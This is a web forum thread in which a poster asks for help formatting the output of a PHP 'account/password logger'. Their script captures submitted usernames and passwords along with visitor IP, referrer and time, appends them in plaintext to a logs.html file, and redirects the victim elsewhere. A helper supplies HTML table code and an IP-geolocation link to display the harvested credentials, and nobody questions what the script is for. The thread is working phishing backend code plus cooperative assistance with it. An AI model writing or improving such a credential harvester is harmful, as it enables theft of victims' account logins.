Jump to content

Creating a table from php to .html


Go to solution Solved by Ansego,

Recommended Posts

I was creating a simple IP logger for my website, which turned in a basic account/password logger. I just want to place everything in a nice neat table, with a header for each column. Now my php code generates a .html for the log file. I tryed everything but I don't know if I need to edit the .html and add some css or edit the php file to create the table. Does anyone here have any ideas? I just want something basic.

 

My php code:

<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);

$content = "<b>[Date] -</b> " . $today . "      <b>[IP] - </b>" . $ip . "      <b>[Account] - </b>" . $nam . "      <b>[Password] - </b>" . $pas . "<br />";

$filed = @fopen("logs.html", "a+");
@fwrite($filed, "$content\n\n");
@fclose($filed);
}
header('Location: http://mytrips30.3owl.com/');
exit;
?>

My .html generated log file:

<!DOCTYPE html>
<html>
<STYLE type=text/css>

body {color:white;}

</STYLE>

<body style="background-color:black;">

</body>

</html>
Link to comment
https://forums.phpfreaks.com/topic/287276-creating-a-table-from-php-to-html/
Share on other sites

Hi,

 

I would of thought you'd build the table in this string since it has html through it already and the output data:

$content = "<b>[Date] -</b> " . $today . "      <b>[IP] - </b>" . $ip . "      <b>[Account] - </b>" . $nam . "      <b>[Password] - </b>" . $pas . "<br />";

to something like (Mock code):

$content = "<tr><td><b>[Date] -</b> " . $today . "      <b>[IP] - </b>" . $ip . "      <b>[Account] - </b>" . $nam . "      <b>[Password] - </b>" . $pas . "</td></tr>";
Edited by Ansego

um,

 

A table in HTML looks something like:

<table width="300" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td> </td>
    <td> </td>
  </tr>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
</table>

We want to convert that with your variables something like:

$content = "<table width='300' border='0' cellspacing='0' cellpadding='0'>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
  <tr>
    <td>Data:</td>
    <td>" . $today . "</td>
  </tr>
  <tr>
    <td>IP:</td>
    <td>" . $ip . "</td>
  </tr>
  <tr>
    <td>Account: </td>
    <td>" . $nam . "</td>
  </tr>
  <tr>
    <td>Password:</td>
    <td>" . $pas . "</td>
  </tr>
  <tr>
    <td> </td>
    <td> </td>
  </tr>
</table>";

If this fails we will need to look at something else.

Data: March 26, 2014, 7:19 am

IP: 24.89.195.253

Account: test

Password: test        

 

Data: March 26, 2014, 7:20 am

IP: 24.89.195.253

Account: test2

Password: test2

 

looks awesome! I am going to see if I can change the color of the table lines white and change the color of the $content

Edited by WKX

 

 

I just want to the Account Data section to be a different color and there to be a couple of spaces in between each table,

For the spacing apply a margin to the table in your css

table {
   margin: 10px; /* Applies 10px space around each table */
}

 

 

ryed inputing a color font into php but was getting error's

What code did you try? Post your code here.

I put the code above to create a margin around the table in my CSS tags in my .html file:

<!DOCTYPE html>
<title>Account Logs</title>
<html>
<STYLE type=text/css>
body {color:white;}
font-family:Verdana, Arial, Helvetica, sans-serif;
table {
   margin: 10px; /* Applies 10px space around each table */
}
</STYLE>
<body style="background-color:black;">
</body>
</html>

Nothing happened.

 

I try'd changing the font color of the  "Account Data" column via the .php file, but nothing happened, any ideas?

Replace your css code:

<style type="text/css">
body {
   background-color:#666;
   color:#FFF;
}
#account{
   color:#3CF;
}
</style>

With the text colour: 

    <td>Account: </td>
    <td>" . $nam . "</td>

Change too:

    <td class='account'>Account: </td>
    <td class='account'>" . $nam . "</td>
Edited by Ansego

that code did not work :( I did mange to create a margin around the table and center it :)

 

I just want two more things.

 

1) I just want to know how to change the color of the $content in table.

2) When the log is generated, have the logged IP address hyperlinked to "http://www.geoiptool.com/"

 

Thank you so much Ansego

 

Here is what I have so far in my php code:


<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);
$content = "<center><table width='600' border='1' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center>
 
  <tr>
    <th>Information</th>
    <th>Account Data</th>
  </tr>
  <tr>
    <td>Date:</td>
    <td>" . $today . "</td>
  </tr>
  <tr>
    <td>Link:</td>
    <td>" . $ref . "</td>
  </tr>
  <tr>
    <td>IP:</td>
    <td>" . $ip . "</td>
  </tr>
  <tr>
    <td>Account: </td>
    <td>" . $nam . "</td>
  </tr>
  <tr>
    <td>Password:</td>
    <td>" . $pas . "</td>
  </tr>
  <tr>
    <th>Information</th>
    <th>Account Data</th>
  </tr>
</table>";
$filed = @fopen("logs.html", "a+");
@fwrite($filed, "$content\n\n");
@fclose($filed);
}
exit;
?>
 

Here is what I have so far in my .html file:

<!DOCTYPE html>
<title>Account Logs</title>
<html>


<STYLE type=text/css>

body {color:white;}
font-family:Verdana, Arial, Helvetica, sans-serif;
table, td, th
{
border:1px solid green;
}
th
{
background-color:green;
color:white;
}

</STYLE>

<body style="background-color:black;">

</body>

</html>

Untitled.png

Hi.

 

1) I just want to know how to change the color of the $content in table.
 
$content is just a variable that holds your string of your table, you don't change the color of that. You would change the color of your table within that string if you wanted...
 
2) When the log is generated, have the logged IP address hyperlinked to "http://www.geoiptool.com/"
 
Something like:
<td><a href='http://www.geoiptool.com/en/?IP=" . $ip . "' target='_blank'>" . $ip . "</a></td>

Hope this helps, please mark as solved if you are satisfied.

updated:

 

I just want the border around "Information" "Account Data" to show

<!DOCTYPE html>
<title>Account Logs</title>
<html>


<STYLE type=text/css>
.main-table {
    border-collapse: collapse;
}
.main-table td {
    margin: 0px;
    padding: 0px;
    border: 1px solid #00FF00;
    padding: 4px 4px 4px 4px;
}
a:link {color:#00FF00;}      /* unvisited link */
a:visited {color:#00FF00;}  /* visited link */
a:hover {color:#7FE817;}  /* mouse over link */
a:active {color:#00FF00;}  /* selected link */
body {color:white;}
font-family:Verdana, Arial, Helvetica, sans-serif;
table, td, th
{
 border: 1px solid #00FF00;
}
th
{
background-color:green;
color:white;
}

</STYLE>

<body style="background-color:black;">

</body>

</html>

my php code:

<?php
$ref = $_SERVER['HTTP_REFERER'];
$today = date("F j, Y, g:i a");
$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);
$pas = htmlspecialchars($pas, ENT_QUOTES);
$content = "<center><table width='600' border='0' class='main-table' cellspacing='0' cellpadding='0' align='center' style='margin:33pt;'></center>

  <tr>
    <th>Information</th>
    <th>Account Data</th>
  </tr>
  <tr>
    <td>Date:</td>
    <td>" . $today . "</td>
  </tr>
  <tr>
    <td>Link:</td>
    <td>" . $ref . "</td>
  </tr>
  <tr>
    <td>IP:</td>
    <td><a href='http://www.geoiptool.com/en/?IP=" . $ip . "' target='_blank'>" . $ip . "</td>
  </tr>
  <tr>
    <td>Account: </td>
    <td>" . $nam . "</td>
  </tr>
  <tr>
    <td>Password:</td>
    <td>" . $pas . "</td>
  </tr>
  <tr>
    <th>Information</th>
    <th>Account Data</th>
  </tr>
</table>";
$filed = @fopen("logs.html", "a+");
@fwrite($filed, "$content\n\n");
@fclose($filed);
}
header('Location: http://www.youtube.com/watch?v=4fndeDfaWCg');
exit;
?>

Untitled.png

I got it fixed:

 

<!DOCTYPE html>
<title>Account Logs</title>
<html>
 
<style type="text/css">
.main-table { background-color:#000000;border-collapse:collapse; }
.main-table th { background-color:#008000;color:white; }
.main-table td, .main-table th { padding:4px;border:1px solid #008000; }
a:link {color:#00FF00;}      /* unvisited link */
a:visited {color:#00FF00;}  /* visited link */
a:hover {color:#7FE817;}  /* mouse over link */
a:active {color:#00FF00;}  /* selected link */
body {color:white;}
font-family:Verdana, Arial, Helvetica, sans-serif;
</STYLE>
 
<body style="background-color:black;">
 
</body>
</html>
 
 
Thank you so much Ansego!
This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.